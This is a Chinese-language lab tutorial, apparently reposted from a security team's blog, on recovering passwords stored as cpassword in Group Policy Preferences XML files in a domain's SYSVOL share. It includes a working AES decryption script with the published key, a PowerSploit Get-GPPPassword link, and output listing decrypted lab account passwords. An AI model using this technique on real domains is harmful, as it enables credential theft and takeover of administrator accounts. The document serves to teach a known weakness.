组策略之xml保存的密码

Posted 横戈安全团队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了组策略之xml保存的密码相关的知识,希望对你有一定的参考价值。

本文通过GPP引出为什么SYSVOL的xml文件中保存着各种账号密码

0x01 GPP漏洞介绍

先介绍下GPP漏洞,GPP全名Group Policy Preferences,组策略首选项。可以通过部署GPP,部署的策略给域成员都添加一个用户或者修改本地用户administrator的密码,达到统一管理本地管理员用户密码的功能。那么这时候域控的SYSVOL共享目录里有一个global.xml里面可能会存放{name,cpasswords},这个账号密码很可能就是域里面所有机子的本地管理员账号密码。所以只要有一个域用户(域机器的system)权限,使用该域用户net use连接域控,然后net view查看域控的共享目录,再用dir将域控的SYSVOL目录下的所有xml文件列出来,找到Groups.xml文件,查看cpassword字段,解密即可。

0x02 环境搭建

在域控先创建组织,该组织下面的所有域机器都通过GPP管理本地管理员的密码

组策略之xml保存的密码

将一些域机器移动过去

组策略之xml保存的密码

组策略之xml保存的密码

给GppComputers组织创建组策略

组策略之xml保存的密码

GPO名字随意

组策略之xml保存的密码

右键编辑

组策略之xml保存的密码

选择本地用户,右键新增,本地使用者

组策略之xml保存的密码

密码更改为Gpppassword.

组策略之xml保存的密码

0x03 获取密码

到SYSVOL中查看

组策略之xml保存的密码

在UserPreferencesGroups文件夹下有Groups.xml文件

组策略之xml保存的密码

内容如下

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內建)" image="2" changed="2021-02-07 08:54:02" uid="{D3BBF62A-E741-4269-B4BE-71E21F972F64}"><Properties action="U" newName="" fullName="" description="" cpassword="j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內建)"/></User>
</Groups>

提取出cpassword字段的值

组策略之xml保存的密码

使用py脚本解密:python2 gpp.py j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M

需要安装pycryptodome模块,python2 -m pip install pycryptodome

import sys
from Crypto.Cipher import AES
from base64 import b64decode
from base64 import b64encode
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace(" ","").decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
iv = "x00" * 16
o = AES.new(key, AES.MODE_CBC, iv ).decrypt(password)
plaintext = o[:-ord(o[-1])]
print(plaintext)

成功解出密码

组策略之xml保存的密码

0x04 其他XML文件

例如计划任务,创建一个GPO,名字随意

组策略之xml保存的密码

选择计划任务

组策略之xml保存的密码

在执行身份中选择使用域用户sqladm,执行弹计算器命令

组策略之xml保存的密码

到SYSVOL中查看

组策略之xml保存的密码

在UserPreferencesScheduledTasks文件夹下有ScheduledTasks.xml,内容如下

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="calc" image="0" changed="2021-02-07 07:25:21" uid="{93F6A743-CC48-48CB-BF65-4F68EDAE4BB9}"><Properties action="C" name="calc" appName="C:WindowsSystem32calc.exe" args="" startIn="" comment="" runAs="MOTOOSQLAdm" cpassword="g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc" enabled="1"><Triggers><Trigger type="DAILY" startHour="1" startMinutes="0" beginYear="2021" beginMonth="2" beginDay="7" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task>
</ScheduledTasks>

执行的用户身份如下

组策略之xml保存的密码

取出cpassword值,成功得到域用户motoosqladm的密码

组策略之xml保存的密码

在下面的这些xml里也都有可能保存着账号密码

GroupsGroups.xml
ServicesServices.xml
ScheduledTasksScheduledTasks.xml
PrintersPrinters.xml
DrivesDrives.xml
DataSourcesDataSources.xml

0x05 更新组策略

Windows会定期刷新整个网络中的组策略设置。在客户端计算机上,默认情况下每90分钟执行一次,随机偏移量为正负30分钟。当更改组策略时,可能需要等待两个小时(90分钟加上30分钟的偏移量),然后才能在客户端计算机上看到任何更改。
也可以在客户机使用gpupdate /force 强制更新域组策略

0x06 脚本利用

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

使用域用户执行该ps脚本,调用方法Get-GPPPassword

可以看到获取到了账号密码

PS C:UsersWangJuan.MOTOODesktop> Get-GPPPassword
UserName : Administrator
NewName : [BLANK]
Password : Gpppassword.
Changed : 2021-02-07 08:54:02
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{4FC55772-5E0A-4ED5-AA84-A3FF988B6409}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M
UserName : MOTOOSQLAdm
NewName : [BLANK]
Password : sql123!@#45
Changed : 2021-02-07 07:35:06
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{E990BD6E-3ABA-45CD-8653-39D2D2B41AA1}UserPreferencesScheduledTasksScheduledTasks.xml
NodeName : ScheduledTasks
Cpassword : g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc
UserName : Motoo
NewName : [BLANK]
Password : Pwd12345
Changed : 2020-02-23 12:55:13
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0
UserName : klion
NewName : [BLANK]
Password : Abc12345
Changed : 2020-02-23 12:55:49
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : jh09kN+cc6X1jYVx5ZLQOzJ7PrCU3R8rAJKT47qzE0k
UserName : ITS
NewName : [BLANK]
Password : admin!@#45
Changed : 2020-03-13 02:19:32
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw
UserName : ITSRV
NewName : [BLANK]
Password : in123!@#45
Changed : 2020-03-13 02:50:28
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : 3bjGvfu/GLA3pSuIm1IOgFhCOw8055xOddEX4k3XNAY


以上是关于组策略之xml保存的密码的主要内容,如果未能解决你的问题,请参考以下文章

组策略     之   统一修改域中计算机的本地管理员账户和密码

设计模式之策略模式

需要示例代码片段帮助

在组策略中设置最小密码长度

操作系统安全规范之Windows Server

Windows Server 2012活动目录基础配置与应用(新手教程)之9---了解组策略